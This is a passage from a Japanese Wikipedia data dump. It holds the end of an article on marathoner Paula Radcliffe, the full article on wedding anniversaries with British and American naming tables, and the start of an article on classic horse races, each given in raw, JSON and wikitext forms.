|2015 ||ロンドンマラソン ||{{GBR}} ||style="text-align:center"|19位||style="text-align:center"|2:36:55||一般参加・現役最後のレース
|-
|}
== 脚注 ==
{{Reflist}}
== 外部リンク ==
* {{Official website|http://www.paularadcliffe.com}} - 公式HP{{en icon}}
* {{Sports links}}
* {{Twitter|paulajradcliffe}}
{{S-start}}
{{succession box|title=[[陸上競技の世界記録一覧|女子マラソン世界記録保持者]]|before={{flagicon|KEN}} [[キャサリン・ヌデレバ]]|after= {{flagicon|KEN}} [[ブリジット・コスゲイ]]|years=2002/10/13 - 2019/10/13}}
{{S-end}}
{{世界陸上競技選手権大会金メダリスト女子マラソン}}
{{ローレウス世界スポーツ賞年間最優秀復帰選手}}
{{Normdaten}}
{{デフォルトソート:らとくりふ ほおら}}
[[Category:イギリスの女子マラソン選手]]
[[Category:イギリスの女子長距離走の選手]]
[[Category:オリンピック陸上競技イギリス代表選手]]
[[Category:世界陸上選手権イギリス代表選手]]
[[Category:世界陸上選手権メダリスト]]
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6,737 | 結婚記念日 | 結婚記念日(けっこんきねんび)とは、個人的な記念日のひとつで、夫婦が結婚したことを年ごとに記念する日。また、結婚記念日や結婚何周年を祝う式のことを結婚記念式()と言う。
結婚式を祝う風習はドイツで始まったされ、その後ヨーロッパ全体に広まった。銀婚式(ぎんこんしき)は1624年、金婚式(きんこんしき)は1860年に最初に行われたという。
日本では明治天皇と昭憲皇太后が1894年(明治27年)3月9日に大婚25年祝典を行なったのが最初とされ、それ以来、銀婚式、金婚式の習慣が一般にも広まった。宝石業界の販売戦略もあり国によりさまざまな記念年が生れているが、日本においては25周年目の銀婚式と、50周年目の金婚式以外はあまり一般的では無い。
いつを結婚記念日と決めるかの基準については、さまざまな考えがあり、夫婦の同意によってなされることが一般的である。法的な夫婦の場合は婚姻届を提出した日か、結婚式(≒結婚披露宴)挙行日を結婚記念日とする場合が多い。できちゃった結婚(当事者間の子供の妊娠が確認された後の結婚)や、法律上の届出をしない事実婚などが社会に浸透するにつれ、両性が結婚の合意に達した日を結婚記念日とする場合も増えている。
慣習は各家庭により、当事者である2人のみで祝う場合も、子供が親に対して祝う場合もある。夫婦間で、あるいは親族が、贈り物を手渡すことが多い。
文化によっては経過年数ごとに独自の呼称を持っている場合があり(後述)、25周年の「銀婚式」、50周年の「金婚式」は特に盛大に祝福される。
欧米では結婚1周年の「紙婚式」に、ウェディングケーキの頭頂部を夫婦で食べる。このため、頭頂部を持ち帰れるように、また日持ちするようにケーキ台はスポンジケーキで作り、披露宴当日から1年後まで変質しないよう、冷蔵庫などで保存する。
日本では夫婦間で、あるいは夫から妻に、子や孫から夫婦に祝いの品を贈るなどする。また、食事(外食)に行ったり、ケーキを買ったり、などといったように、夫婦によって形は様々である。
以下はイギリス式で、一部は日本でも一般化した呼称となっている。呼称にちなんだものを贈り物とする習慣である。
最初のうちは安価で柔らかく日常的な物にちなんでいるが、徐々に高価で硬い貴重品へと変わる。15年目までは1年単位、以後は5年単位で祝う。
英米ではこの上に75年目が“ダイヤモンドと金”、80年目が“オーク(楢)”、85年目が“ワイン”と続く(下記参照)。
フランスでは1周年から80周年まで全ての年と、85、90、100周年にそれぞれ設定されている(フランス語の記事Anniversaire de mariageを参照)。
アメリカ合衆国とイギリスでは、呼称がやや異なる。 | [
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| 結婚記念日(けっこんきねんび)とは、個人的な記念日のひとつで、夫婦が結婚したことを年ごとに記念する日。また、結婚記念日や結婚何周年を祝う式のことを結婚記念式と言う。 結婚式を祝う風習はドイツで始まったされ、その後ヨーロッパ全体に広まった。銀婚式(ぎんこんしき)は1624年、金婚式(きんこんしき)は1860年に最初に行われたという。 日本では明治天皇と昭憲皇太后が1894年(明治27年)3月9日に大婚25年祝典を行なったのが最初とされ、それ以来、銀婚式、金婚式の習慣が一般にも広まった。宝石業界の販売戦略もあり国によりさまざまな記念年が生れているが、日本においては25周年目の銀婚式と、50周年目の金婚式以外はあまり一般的では無い。 | {{Otheruses||アメリカの映画|結婚記念日 (映画)}}
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== 概要 ==
いつを結婚記念日と決めるかの基準については、さまざまな考えがあり、夫婦の同意によってなされることが一般的である。法的な夫婦の場合は[[婚姻届]]を提出した日か、[[結婚式]](≒[[結婚披露宴]])挙行日を結婚記念日とする場合が多い。[[できちゃった結婚]](当事者間の子供の妊娠が確認された後の結婚)や、[[法律]]上の届出をしない[[事実婚]]などが社会に浸透するにつれ、両性が結婚の合意に達した日を結婚記念日とする場合も増えている。
慣習は各家庭により、当事者である2人のみで祝う場合も、子供が親に対して祝う場合もある。夫婦間で、あるいは親族が、[[贈り物]]を手渡すことが多い。
文化によっては経過年数ごとに独自の呼称を持っている場合があり(後述)、25周年の「銀婚式」、50周年の「金婚式」は特に盛大に祝福される。
== 各地域の習慣 ==
欧米では結婚1周年の「紙婚式」に、[[ウェディングケーキ]]の頭頂部を夫婦で食べる。このため、頭頂部を持ち帰れるように、また日持ちするようにケーキ台は[[スポンジケーキ]]で作り、披露宴当日から1年後まで変質しないよう、冷蔵庫などで保存する。
日本では夫婦間で、あるいは夫から妻に、子や孫から夫婦に祝いの品を贈るなどする。また、食事(外食)に行ったり、ケーキを買ったり、などといったように、夫婦によって形は様々である。
== 記念の呼称 ==
以下は[[イギリス]]式で、一部は日本でも一般化した呼称となっている。呼称にちなんだものを贈り物とする習慣である。
最初のうちは安価で柔らかく日常的な物にちなんでいるが、徐々に高価で硬い貴重品へと変わる。15年目までは1年単位、以後は5年単位で祝う。
* 1周年:[[紙]]婚式
* 2周年:[[藁]]婚式、[[綿]]婚式
* 3周年:[[皮革|革]]婚式、糖果婚式、[[草本|草]]婚式
* 4周年:[[花]]と[[果実]]婚式(、[[絹]]婚式、[[リネン|リンネル]]婚式)、[[皮]]婚式(皮革婚式)、[[本|書籍]]婚式
* 5周年:[[木]]婚式
* 6周年:[[鉄]]婚式、[[砂糖]]婚式
* 7周年:[[銅]]婚式、[[ウール]]婚式
* 8周年:[[青銅]]婚式、[[ゴム]]婚式、[[家庭用電気機械器具|電気器具]]婚式、[[眼鏡|めがね]]婚式、[[塩]]婚式
* 9周年:[[陶磁器|陶器]]婚式
* 10周年:[[スズ|錫]]婚式、[[アルミニウム|アルミ]]婚式
* 11周年:[[鋼|鋼鉄]]婚式
* 12周年:絹婚式、[[アマ (植物)|亜麻]]婚式
* 13周年:[[レース (手芸)|レース]]婚式
* 14周年:[[象牙]]婚式
* 15周年:[[石英|水晶]]婚式
* 20周年:[[磁器]]婚式、[[陶磁器]]婚式
* 25周年:[[銀]]婚式
* 30周年:[[真珠]]婚式
* 35周年:[[サンゴ|珊瑚]]婚式、[[ヒスイ|翡翠]]婚式
* 40周年:[[ルビー]]婚式
* 45周年:[[サファイア]]婚式
* 50周年:[[金]]婚式
* 55周年:[[エメラルド]]婚式
* 60周年:[[ダイヤモンド]]婚式
* 65周年:[[碧玉]]婚式、ブルースターサファイア婚式{{Efn|サファイアとは別の宝石として扱われる。}}
* 70周年:[[白金|プラチナ]]婚式
英米ではこの上に75年目が“ダイヤモンドと金”、80年目が“[[オーク]](楢)”、85年目が“[[ワイン]]”と続く(下記参照)。
フランスでは1周年から80周年まで全ての年と、85、90、100周年にそれぞれ設定されている(フランス語の記事[[:fr:Anniversaire de mariage|Anniversaire de mariage]]を参照)。
=== 米英の呼称比較 ===
[[アメリカ合衆国]]とイギリスでは、呼称がやや異なる。
{| class="wikitable" style="text-align:center"
!年!!米!!英<ref>{{Cite web| url=http://www.debretts.com/etiquette/rites-of-passage/wedding-anniversaries/british-anniversaries.aspx|title=Debrett's Everyday Etiquette|accessdate=22 October 2012|work = British Wedding Anniversaries}}</ref>
|-
|1st||colspan="2"|[[:en:Paper|Paper]]
|-
|2nd||colspan="2"|[[:en:Cotton|Cotton]]
|-
|3rd||colspan="2"|[[:en:Leather|Leather]]
|-
|4th||[[:en:Linen|Linen]], [[:en:Silk|silk]]||[[:en:Fruit|Fruit]] and [[:en:Flower|flowers]]
|-
|'''5th'''||colspan="2"|'''[[:en:Wood|Wood]]'''
|-
|6th||[[:en:Iron|Iron]]||[[:en:Sugar|Sugar]]
|-
|7th||colspan="2"|[[:en:Wool|Wool]], [[:en:Copper|copper]]
|-
|8th||colspan="2"|[[:en:Bronze|Bronze]]
|-
|9th||[[:en:Pottery|Pottery]]||[[:en:Willow|Willow]], Pottery
|-
|'''10th'''||'''[[:en:Tin|Tin]]/[[:en:Aluminium|Aluminum]]'''||'''Tin'''
|-
|11th||colspan="2"|[[:en:Steel|Steel]]
|-
|12th||Silk||Silk and fine linen
|-
|13th||colspan="2"|[[:en:Lace|Lace]]
|-
|14th||colspan="2"|[[:en:Ivory|Ivory]]
|-
|'''15th'''||colspan="2"|'''[[:en:Crystal|Crystal]]'''
|-
|'''20th'''||colspan="2"|'''[[:en:Chinese ceramics|China]]'''
|-
|'''25th'''||colspan="2"|'''[[:en:Silver|Silver]]'''
|-
|'''30th'''||colspan="2"|'''[[:en:Pearl|Pearl]]'''
|-
|35th||[[:en:Coral|Coral]], [[:en:Jade|jade]]||Coral
|-
|'''40th'''||colspan="2"|'''[[:en:Ruby|Ruby]]'''
|-
|'''45th'''||colspan="2"|'''[[:en:Sapphire|Sapphire]]'''
|-
|'''50th'''||colspan="2"|'''[[:en:Gold|Gold]]'''
|-
|'''55th'''||colspan="2"|'''[[:en:Emerald|Emerald]]'''
|-
|'''60th'''||colspan="2"|'''[[:en:Diamond|Diamond]]'''
|-
|'''65th'''||colspan="2"|Blue Sapphire
|-
|'''70th'''||colspan="2"|'''[[:en:Platinum|Platinum]]'''<ref>{{Cite news|title=The platinum wedding anniversary of Jim and Gladys Till|url=http://www.lancasterguardian.co.uk/news/local_2_8584/the_platinum_wedding_anniversary_of_jim_and_gladys_till_1_1171352|accessdate=2 September 2011|newspaper=Lancaster Guardian|date=8 January 2008}}</ref><ref>{{Cite news|title=Tenor and wife toast 70 years of marriage|url=http://www.nwemail.co.uk/news/1.223036|accessdate=2 September 2011|newspaper=[[North-West Evening Mail]]|date=15 August 2008}}</ref><ref>{{Cite news |last=Travis |first=Jeff |title=They've been around the world in 70 years|url=http://www.portsmouth.co.uk/news/local/east-hampshire/they_ve_been_around_the_world_in_70_years_1_1299018|accessdate=2 September 2011|newspaper=[[The News (Portsmouth)|The News]]|date=29 July 2008}}</ref>
|-
|'''75th'''||colspan="2"|Diamond & Gold
|-
|'''80th'''||colspan="2"|[[:en:Oak|Oak]]<ref>{{Cite news| url=http://www.telegraph.co.uk/news/uknews/2020233/Britain%27s-longest-married-couple-celebrate-a-quiet-80th-anniversary.html | work=The Telegraph | title=Britain's longest married couple celebrate a quiet 80th anniversary | first=Vikki | last=Miller | date=24 May 2008}}</ref><ref>{{Cite web|title=Facts and figures|url=http://www.royal.gov.uk/HMTheQueen/Queenandanniversarymessages/Factsandfigures.aspx|work=Queen and anniversary messages|publisher=The Royal Household|accessdate=2 September 2011|year=2011}}</ref>
|-
|'''85th'''||colspan="2"|[[:en:Wine|Wine]]
|}
== 脚注 ==
=== 注釈 ===
{{Notelist}}
=== 出典 ===
{{Reflist}}
== 関連項目 ==
* [[ジュビリー]]
** [[シルバー・ジュビリー]]
** [[ルビー・ジュビリー]]
** [[ゴールデン・ジュビリー]]
** [[ダイヤモンド・ジュビリー]]
** [[サファイア・ジュビリー]]
** [[プラチナ・ジュビリー]]
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[[Category:記念日]]
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| https://ja.wikipedia.org/wiki/%E7%B5%90%E5%A9%9A%E8%A8%98%E5%BF%B5%E6%97%A5 |
6,739 | クラシック (競馬) | 競馬におけるクラシックまたはクラシック競走(Classic Races)とは、古くから施行されていた伝統的な競馬の競走を指す言葉である。
日本では、専らイギリスのクラシック競走から派生して、各国の3歳三冠を形成する競走や、それに付随する一連の競走を指す言葉として使う。
一方、他の国では「伝統的な競走」「格の高い競走」を“Classic Race”と表現する場合があり、この場合には必ずしも3歳馬の競走を指すとは限らない。
「クラシック競走」という言葉はイギリスのサラブレッド競馬の以下の5競走を“British Classics”(イギリスクラシック競走)と呼んだことに由来する。
これに習い、日本でもこの5競走に相当する3歳馬のための下記の競走を「クラシック競走」と称するようになった。
これらの競走に出走するための3歳馬の競走体系を「クラシック路線(クラシック戦線、クラシックロード)」などと表現する。
主催する国・地域によって若干の違いはあるが、多くのクラシック三冠競走ではイギリスのものと同じく出走条件に「3歳馬限定」という決まりがあり、どの競走馬もクラシック競走に出走する機会は一生に一度だけである。またこれらの競走は種牡馬や繁殖牝馬の価値を高めるための選定競走と位置づけられているものが多く、去勢された騸馬が出走できない場合が多い。またクラシック競走には事前にクラシック登録が義務付けられているものが多く、現代ではその制限は緩和されつつあるが、かつてはその制度がもとでクラシックに出走する機会を得られなかった馬も存在した。
クラシック競走は多くの施行団体において価値のある競走として位置づけられている。近年、競走の価値が多様化すると、1頭の馬があらゆる距離を走破するよりも、得意な距離に専念する傾向が現れた。一部の国では本来3歳限定戦のセントレジャー(に相当する長距離戦)を古馬の出走を可能にするよう条件変更したり、距離の改定が試み、競走の価値を維持しようとしている。
日本や、イギリス式の競走体系をとっている国々では、クラシック競走であるダービーステークスの施行距離から派生して、芝1マイル2分の1または2400メートルの距離をクラシックディスタンスと呼ぶ。
一方、アメリカでは「クラシックディスタンス」というと、日本の「中距離」に相当する9ハロンから10ハロンの距離を指す。これは、アメリカ国内の「クラシック競走」が専らこの距離で行なわれることに由来する。
アイルランドでは、19世紀から20世紀にかけて、イギリス本国のクラシック5競走を模した競走が創設された。とはいえ、アイルランドはもともとイギリスの一部として扱われており、特にイギリスのクラシック競走が大きく発展する時期には、アイルランドは「イギリスの一地方」に過ぎなかった。アイルランドの一流馬はイギリスの一流の競走を目指すのがふつうであり、特にアイルランド独自の「クラシック路線」が特別な地位を獲得するということはなかった。
アイルランド独立後も、競走馬に関してはアイルランドとイギリス、そのほか近隣の主要競馬開催国との間では自由な往来が可能であり、国内のクラシック競走を勝てるような一流馬はアイルランド国内に留まって「クラシック路線」を歩むよりは、他国のより高賞金・高権威の競走をめざす。
1962年にアイルランドダービーに大規模な改編があり、大幅に賞金が増えたことでイギリスやフランスのダービー馬などが集う競走に変貌して大成功した。現在、アイルランドの1000ギニー、2000ギニー、ダービー、オークスは、ヨーロッパ主要国の同等の競走が一段落したあとに行われるようなスケジュールになっており、それぞれ各国のクラシック競走の実績馬が集まるように意図されている。
中央競馬のクラシック三冠はイギリスのクラシック競走を模範として形成され、皐月賞・東京優駿(日本ダービー)・菊花賞・桜花賞・優駿牝馬(オークス)の5競走がクラシック競走として創設された。
中央競馬のクラシック三冠競走にはかつては厳重な出走制限があり、クラシック登録のない馬は出走できなかったほか、優秀な内国産の種牡馬・繁殖牝馬を審査・選定するための競走という位置づけもあったため、外国産馬や地方競馬所属馬に対する出走規制(古馬対象の天皇賞も含む)も存在した。現在ではクラシック追加登録制度の創設や、段階的に行われた出走規制撤廃などを経て、せん馬をのぞくほとんどの中央競馬所属馬が出走できるようになった。2010年より、外国調教馬(日本国外からの遠征馬)の出走も可能になった。
当初は牝馬の3冠目(ただし、牝馬は2冠までという考え方もあった)は本家と同様に菊花賞がそれに相当したが、1970年に3歳牝馬限定戦のビクトリアカップが創設され、のちに同じ役割を果たす競走としてエリザベス女王杯、そして秋華賞が創設されると、牝馬三冠の最終戦はこれらに役割が移された。ただし上述の通り2000年まで、牝馬の三冠目以外は外国産馬には開放されていなかったこともあり、この新設された競走がクラシック競走と呼ばれることはなく、現在もクラシックは当初の5競走を指す言葉として使われているが、2001年以後外国産馬が部分的に開放(2010年から外国馬を含め全面開放)されてからは、秋華賞をクラシックとみなす場合もある。クラシック競走についてはゼッケンもほかのGI競走とは区別がされており、日本ダービーは白地に黒文字(一般競走とは異なり金色のステッチ入り)、他の4競走は紺地に黄文字のゼッケンが使用されている。
皐月賞ではなくNHKマイルカップから東京優駿、また菊花賞ではなく天皇賞(秋)に挑戦といった出走可能な競走の選択肢も番組整備により多様化した。
各地方競馬団体においてもそれぞれの地域ごとに、優秀競走馬選定を目的としたクラシック競走は行われており、サラブレッド以外のアングロアラブ競走やばんえい競走においても三冠競走が存在する。現在主流のサラブレッド競馬においては他地区との交流も盛んに行われており、一部のクラシック競走は中央所属の競走馬も出走可能なダートグレード競走である。
近年はこれらの優勝馬と中央競馬のダート路線の優秀な3歳馬を集め、盛岡競馬場のダービーグランプリにおいて全国のダービー馬同士の対決が企画されていた。ダービーグランプリのグレード撤廃後は、同様の役割を大井競馬場のジャパンダートダービーが担っている。
2024年より3歳ダート三冠が新たに設定される。対象は羽田盃・東京ダービー・ジャパンダートダービーの3競走となっている。
アメリカ合衆国では、当初イギリスクラシックを模してウィザーズステークス・ベルモントステークス・ローレンスリアライゼーションステークスをして正式ではないが実質的な三冠競走としており、当時のケンタッキーダービーは地方の中堅レースに過ぎなかった。サーバートンが「史上初のアメリカ三冠馬」となった時もさほど騒がれてはいなかった。その後、ウィザーズステークス・ローレンスリアライゼーションステークスの価値は下落。代わってケンタッキーダービー・プリークネスステークスが人気を集めるようになる。そしてギャラントフォックスが2頭目の「三冠馬」となったことを切っ掛けにケンタッキーダービー・プリークネスステークス・ベルモントステークスが三冠となったのである。
アメリカの牡馬クラシック競走には騸馬の出走が認められており、2012年までにエクスターミネーターなど8頭のケンタッキーダービー馬が誕生している。
それぞれの競走はダートの馬場で行われ、また春季の約1か月間で三冠戦が終わるという非常に短い期間も特徴的である。ダートとしては長丁場のベルモントステークス(12ハロン・約2414メートル)に関しては他国のセントレジャー相当競走と同じくしばしば距離短縮の提言が上げられることもあるが、現在まで条件の変更もなく地位を保ち続けている。
また、牝馬の競走においてクラシック競走と呼ばれていたものにコーチングクラブアメリカンオークスがあるが、クラシックの意味が上記牡馬三冠競走を意味することが多くなった現在においてはあまり使われない表現である。クラシックとは無関係だが三冠路線は存在し、とくにニューヨーク牝馬三冠(エイコーンステークス・コーチングクラブアメリカンオークス・アラバマステークス)は同国最大の牝馬三冠路線として位置づけられている。しかし王道の中距離路線に出走する多くの牝馬にとっては5月のケンタッキーオークスが最大の目標になっており、同競走を絡めた新たな三冠体系の確立の検討も行われている。
カナダでは1949年に三冠設置が提唱されて、キングズプレート・プリンスオブウェールズステークス・ブリーダーズステークスの3競走が三冠競走として位置づけられた。ただしいずれの競走もカナダ国内所属の競走馬のみ出走可能な競走で、かつカナダの競走馬でもアメリカクラシック三冠に挑むこともできるためそれに比べると価値は一枚落ちる。これらの大規模な三冠のほか、競馬場を運営する各団体ごとに三冠競走が設定されている。
このうちランドウィックギニーズ、ローズヒルギニー、オーストラリアンダービーの3レースが「三冠クラシック」とされる。 | [
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"text": "競馬におけるクラシックまたはクラシック競走(Classic Races)とは、古くから施行されていた伝統的な競馬の競走を指す言葉である。",
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"text": "日本では、専らイギリスのクラシック競走から派生して、各国の3歳三冠を形成する競走や、それに付随する一連の競走を指す言葉として使う。",
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"text": "一方、他の国では「伝統的な競走」「格の高い競走」を“Classic Race”と表現する場合があり、この場合には必ずしも3歳馬の競走を指すとは限らない。",
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"text": "「クラシック競走」という言葉はイギリスのサラブレッド競馬の以下の5競走を“British Classics”(イギリスクラシック競走)と呼んだことに由来する。",
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"text": "これに習い、日本でもこの5競走に相当する3歳馬のための下記の競走を「クラシック競走」と称するようになった。",
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"text": "これらの競走に出走するための3歳馬の競走体系を「クラシック路線(クラシック戦線、クラシックロード)」などと表現する。",
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"text": "主催する国・地域によって若干の違いはあるが、多くのクラシック三冠競走ではイギリスのものと同じく出走条件に「3歳馬限定」という決まりがあり、どの競走馬もクラシック競走に出走する機会は一生に一度だけである。またこれらの競走は種牡馬や繁殖牝馬の価値を高めるための選定競走と位置づけられているものが多く、去勢された騸馬が出走できない場合が多い。またクラシック競走には事前にクラシック登録が義務付けられているものが多く、現代ではその制限は緩和されつつあるが、かつてはその制度がもとでクラシックに出走する機会を得られなかった馬も存在した。",
"title": "概要"
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"text": "クラシック競走は多くの施行団体において価値のある競走として位置づけられている。近年、競走の価値が多様化すると、1頭の馬があらゆる距離を走破するよりも、得意な距離に専念する傾向が現れた。一部の国では本来3歳限定戦のセントレジャー(に相当する長距離戦)を古馬の出走を可能にするよう条件変更したり、距離の改定が試み、競走の価値を維持しようとしている。",
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"text": "日本や、イギリス式の競走体系をとっている国々では、クラシック競走であるダービーステークスの施行距離から派生して、芝1マイル2分の1または2400メートルの距離をクラシックディスタンスと呼ぶ。",
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"text": "一方、アメリカでは「クラシックディスタンス」というと、日本の「中距離」に相当する9ハロンから10ハロンの距離を指す。これは、アメリカ国内の「クラシック競走」が専らこの距離で行なわれることに由来する。",
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"text": "アイルランドでは、19世紀から20世紀にかけて、イギリス本国のクラシック5競走を模した競走が創設された。とはいえ、アイルランドはもともとイギリスの一部として扱われており、特にイギリスのクラシック競走が大きく発展する時期には、アイルランドは「イギリスの一地方」に過ぎなかった。アイルランドの一流馬はイギリスの一流の競走を目指すのがふつうであり、特にアイルランド独自の「クラシック路線」が特別な地位を獲得するということはなかった。",
"title": "各国のクラシック"
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"text": "アイルランド独立後も、競走馬に関してはアイルランドとイギリス、そのほか近隣の主要競馬開催国との間では自由な往来が可能であり、国内のクラシック競走を勝てるような一流馬はアイルランド国内に留まって「クラシック路線」を歩むよりは、他国のより高賞金・高権威の競走をめざす。",
"title": "各国のクラシック"
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"text": "1962年にアイルランドダービーに大規模な改編があり、大幅に賞金が増えたことでイギリスやフランスのダービー馬などが集う競走に変貌して大成功した。現在、アイルランドの1000ギニー、2000ギニー、ダービー、オークスは、ヨーロッパ主要国の同等の競走が一段落したあとに行われるようなスケジュールになっており、それぞれ各国のクラシック競走の実績馬が集まるように意図されている。",
"title": "各国のクラシック"
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"text": "中央競馬のクラシック三冠はイギリスのクラシック競走を模範として形成され、皐月賞・東京優駿(日本ダービー)・菊花賞・桜花賞・優駿牝馬(オークス)の5競走がクラシック競走として創設された。",
"title": "各国のクラシック"
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"text": "中央競馬のクラシック三冠競走にはかつては厳重な出走制限があり、クラシック登録のない馬は出走できなかったほか、優秀な内国産の種牡馬・繁殖牝馬を審査・選定するための競走という位置づけもあったため、外国産馬や地方競馬所属馬に対する出走規制(古馬対象の天皇賞も含む)も存在した。現在ではクラシック追加登録制度の創設や、段階的に行われた出走規制撤廃などを経て、せん馬をのぞくほとんどの中央競馬所属馬が出走できるようになった。2010年より、外国調教馬(日本国外からの遠征馬)の出走も可能になった。",
"title": "各国のクラシック"
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{
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"text": "当初は牝馬の3冠目(ただし、牝馬は2冠までという考え方もあった)は本家と同様に菊花賞がそれに相当したが、1970年に3歳牝馬限定戦のビクトリアカップが創設され、のちに同じ役割を果たす競走としてエリザベス女王杯、そして秋華賞が創設されると、牝馬三冠の最終戦はこれらに役割が移された。ただし上述の通り2000年まで、牝馬の三冠目以外は外国産馬には開放されていなかったこともあり、この新設された競走がクラシック競走と呼ばれることはなく、現在もクラシックは当初の5競走を指す言葉として使われているが、2001年以後外国産馬が部分的に開放(2010年から外国馬を含め全面開放)されてからは、秋華賞をクラシックとみなす場合もある。クラシック競走についてはゼッケンもほかのGI競走とは区別がされており、日本ダービーは白地に黒文字(一般競走とは異なり金色のステッチ入り)、他の4競走は紺地に黄文字のゼッケンが使用されている。",
"title": "各国のクラシック"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "皐月賞ではなくNHKマイルカップから東京優駿、また菊花賞ではなく天皇賞(秋)に挑戦といった出走可能な競走の選択肢も番組整備により多様化した。",
"title": "各国のクラシック"
},
{
"paragraph_id": 17,
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"text": "各地方競馬団体においてもそれぞれの地域ごとに、優秀競走馬選定を目的としたクラシック競走は行われており、サラブレッド以外のアングロアラブ競走やばんえい競走においても三冠競走が存在する。現在主流のサラブレッド競馬においては他地区との交流も盛んに行われており、一部のクラシック競走は中央所属の競走馬も出走可能なダートグレード競走である。",
"title": "各国のクラシック"
},
{
"paragraph_id": 18,
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"text": "近年はこれらの優勝馬と中央競馬のダート路線の優秀な3歳馬を集め、盛岡競馬場のダービーグランプリにおいて全国のダービー馬同士の対決が企画されていた。ダービーグランプリのグレード撤廃後は、同様の役割を大井競馬場のジャパンダートダービーが担っている。",
"title": "各国のクラシック"
},
{
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"text": "2024年より3歳ダート三冠が新たに設定される。対象は羽田盃・東京ダービー・ジャパンダートダービーの3競走となっている。",
"title": "各国のクラシック"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "アメリカ合衆国では、当初イギリスクラシックを模してウィザーズステークス・ベルモントステークス・ローレンスリアライゼーションステークスをして正式ではないが実質的な三冠競走としており、当時のケンタッキーダービーは地方の中堅レースに過ぎなかった。サーバートンが「史上初のアメリカ三冠馬」となった時もさほど騒がれてはいなかった。その後、ウィザーズステークス・ローレンスリアライゼーションステークスの価値は下落。代わってケンタッキーダービー・プリークネスステークスが人気を集めるようになる。そしてギャラントフォックスが2頭目の「三冠馬」となったことを切っ掛けにケンタッキーダービー・プリークネスステークス・ベルモントステークスが三冠となったのである。",
"title": "各国のクラシック"
},
{
"paragraph_id": 21,
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"text": "アメリカの牡馬クラシック競走には騸馬の出走が認められており、2012年までにエクスターミネーターなど8頭のケンタッキーダービー馬が誕生している。",
"title": "各国のクラシック"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "それぞれの競走はダートの馬場で行われ、また春季の約1か月間で三冠戦が終わるという非常に短い期間も特徴的である。ダートとしては長丁場のベルモントステークス(12ハロン・約2414メートル)に関しては他国のセントレジャー相当競走と同じくしばしば距離短縮の提言が上げられることもあるが、現在まで条件の変更もなく地位を保ち続けている。",
"title": "各国のクラシック"
},
{
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"text": "また、牝馬の競走においてクラシック競走と呼ばれていたものにコーチングクラブアメリカンオークスがあるが、クラシックの意味が上記牡馬三冠競走を意味することが多くなった現在においてはあまり使われない表現である。クラシックとは無関係だが三冠路線は存在し、とくにニューヨーク牝馬三冠(エイコーンステークス・コーチングクラブアメリカンオークス・アラバマステークス)は同国最大の牝馬三冠路線として位置づけられている。しかし王道の中距離路線に出走する多くの牝馬にとっては5月のケンタッキーオークスが最大の目標になっており、同競走を絡めた新たな三冠体系の確立の検討も行われている。",
"title": "各国のクラシック"
},
{
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"text": "カナダでは1949年に三冠設置が提唱されて、キングズプレート・プリンスオブウェールズステークス・ブリーダーズステークスの3競走が三冠競走として位置づけられた。ただしいずれの競走もカナダ国内所属の競走馬のみ出走可能な競走で、かつカナダの競走馬でもアメリカクラシック三冠に挑むこともできるためそれに比べると価値は一枚落ちる。これらの大規模な三冠のほか、競馬場を運営する各団体ごとに三冠競走が設定されている。",
"title": "各国のクラシック"
},
{
"paragraph_id": 25,
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"text": "このうちランドウィックギニーズ、ローズヒルギニー、オーストラリアンダービーの3レースが「三冠クラシック」とされる。",
"title": "各国のクラシック"
}
]
| 競馬におけるクラシックまたはクラシック競走とは、古くから施行されていた伝統的な競馬の競走を指す言葉である。 日本では、専らイギリスのクラシック競走から派生して、各国の3歳三冠を形成する競走や、それに付随する一連の競走を指す言葉として使う。 一方、他の国では「伝統的な競走」「格の高い競走」を“Classic Race”と表現する場合があり、この場合には必ずしも3歳馬の競走を指すとは限らない。 | {{出典の明記|date=2013年1月}}
競馬における'''クラシック'''または'''クラシック競走'''({{Lang|en|Classic Races}})とは、古くから施行されていた伝統的な[[競馬]]の[[競馬の競走|競走]]を指す言葉である。
日本では、専ら[[イギリス]]のクラシック競走から派生して、各国の3歳[[三冠 (競馬)|三冠]]を形成する競走や、それに付随する一連の競走を指す言葉として使う。
一方、他の国では「伝統的な競走」「格の高い競走」を“Classic Race”と表現する場合があり、この場合には必ずしも3歳馬の競走を指すとは限らない<ref group="注">例:ニュージーランド・ウェリントンカップ(3歳以上のハンデ戦 [http://www.trentham.co.nz/page/wellington-cup-winners.aspx]“ the classic 2 mile Wellington Cup”)、フランスのコンセイユ・ミュニシパル賞や凱旋門賞(3歳以上の馬齢重量戦 『フランス競馬百年史』 ギイ・チボー・著、真田昌彦・訳、財団法人競馬国際交流協会・刊、2004、p88)</ref><ref group="注">かつては[[日本中央競馬会]]でも「クラシック競走とは旧八大競走のことである」と定義していた時期がある。</ref>。
== 概要 ==
「クラシック競走」という言葉は[[イギリス]]の[[サラブレッド]]競馬の以下の5競走を“British Classics”(イギリスクラシック競走)と呼んだことに由来する<ref name="CP_11-13">『CLASSIC PEDIGREES 1776-2005』p11 - 13</ref>。
*[[1000ギニーステークス|1000ギニー]]([[1814年]]創設。3歳牝馬限定)
*[[2000ギニーステークス|2000ギニー]]([[1809年]]創設。3歳[[牡馬]][[牝馬]]限定)
*[[オークスステークス|オークス]]([[1779年]]創設。3歳牝馬限定)
*[[ダービーステークス|ダービー]]([[1780年]]創設。3歳牡馬牝馬限定)
*[[セントレジャーステークス|セントレジャー]]([[1776年]]創設。3歳牡馬牝馬限定)
<!--[[三冠 (競馬)#概要]]を執筆するためにいろいろ調べてみたところ、以下の文章はおそらく順序が逆。
当初は古くからある競走としてそれぞれ独立したものであったが、やがて牡馬が出走できる2000ギニー・ダービー・セントレジャーの3競走、牝馬限定の1000ギニー・オークス(およびセントレジャー)を制することに意義が持たれるようになった。その達成馬に「クラシック三冠」という特別な称号が与えられるようになると、その傾向はより強くなっていった。
この三冠の概念はのちに[[アメリカ合衆国]]の競馬界などにも導入され、古くからある競走で三冠を形成したり、イギリスにならって三冠を形成する競走をクラシック競走と呼ぶようになった。牡馬の競走に関しては2000ギニー・ダービー・セントレジャーの3競走を模倣して創設されたものが多い一方、牝馬の競走に関してはばらつきが多く、とくに3冠目の競走が牡馬のものとは別に新設されている場合もある。
-->
これに習い、日本でもこの5競走に相当する3歳馬のための下記の競走を「クラシック競走」と称するようになった。
*[[桜花賞]]
*[[皐月賞]]
*[[優駿牝馬]](いわゆる日本のオークス)
*[[東京優駿]](日本ダービー)
*[[菊花賞]]
